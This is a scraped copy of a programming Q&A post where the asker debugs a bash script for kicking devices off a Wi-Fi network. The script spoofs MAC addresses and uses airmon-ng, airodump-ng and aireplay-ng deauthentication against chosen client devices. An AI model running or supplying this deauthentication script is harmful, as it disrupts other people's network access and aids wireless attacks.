vendredi 30 janvier 2015

Linux shell script not setting variables with bash -c "$com"


Vote count:

0




So, I wrote a shell script to kick people off of my wifi, but I'm having trouble getting it to work correctly. The main problem is that when I do bash -c "$com" it does not set the variable like it should. Any help would be appreciated.



echo "You must be connected to the network that you wish to kick the devices off"
gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`
sudo nmap -sP $gw-254
long='read -p Enter_the_DEVICE_Bssid'
a=1
end=';'
oend='&'
outside='"'
thesudo='sudo'
num=1
deff='aireplay-ng -0 $number -a $bssid mon0 --ignore-negative-one -c'
read -p "How many devices do you want to kick: " ammount
counter=0
while [ $counter -lt $ammount ];
do
b=device
d1=$b$a

if [ $counter2 -gt $ammount ]
then
com="$com $long $outside$d1$outside"
counter=$(($counter +1))
else
com="$com $long $outside$d1$outside $end"
fi


comfin="$comfin $thesudo $deff $d1 $oend"
a=$(($a +1))
counter=$(($counter +1))
counter2=$(($counter +2))
done
vev="echo done"
comfin="$comfin $vev"
echo $com
bash -c "$com"
#Why does it not set the variables like it should?
echo $device1
echo $device2
echo $device3
#see it dosent say the variables when it is run.
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0
sudo ifconfig mon0 down
sudo macchanger -m 00:11:22:33:44:55 mon0
sudo ifconfig mon0 up

#make sure you dont run it from the file, but from terminal so you can press ctrl z to stop the airodump
echo "make sure you dont run it from the file, but from terminal so you can press ctrl z to stop the airodump"
sleep 2
sudo airodump-ng mon0

read -p "Enter the NETWORK Bssid:" bssid
echo "Ok, its $bssid"

read -p "Do you want to single kick(1) or continuously kick(0)" number
echo "Ok, its $number"

sudo $comfin

sudo ipconfig stop mon0


asked 1 min ago







Linux shell script not setting variables with bash -c "$com"

Aucun commentaire:

Enregistrer un commentaire